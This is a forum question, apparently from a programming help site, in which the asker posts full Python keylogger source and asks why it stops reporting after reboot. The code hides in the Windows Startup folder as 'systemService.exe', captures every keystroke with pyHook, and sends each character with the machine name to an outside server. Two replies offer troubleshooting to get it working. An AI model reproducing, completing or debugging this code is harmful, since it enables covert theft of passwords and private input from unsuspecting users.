1
1
I am trying to make a python keylogger which automatically runs at startup. Here is the python code
import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys
userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName
if os.path.exists(filePath):
if os.path.isfile(filePath+'systemService.exe')==False:
try:
shutil.copy2(sys.argv[0],filePath+'systemService.exe')
except:
pass
def OnKeyBoardEvent(event):
try:
params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
conn.request("GET","/index.php?"+params)
except:
pass
return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
This keylogger logs all ascii data to the server named in the code using php.It works fine when i executed this pyw file but when i reboots the pc it doesn't log into the file on server. I doubled checked that this program is present in Startup Directory and is running in background after rebooting. But still not logging data on to the server file.
Does it log to a local file OK after reboot? – adampski – 2016-09-03T17:13:06.337
Try making a .bat file with the correct command to run the file and run that on startup. There might be a few arguments that aren't being run correctly for the file, resulting it in having errors. To test that, I'd reccommend putting a
try: #code except: open("somefile","w").write("error")
to make sure program is running into an exception somewhere but ignoring it. – ytpillai – 2016-12-09T04:19:45.707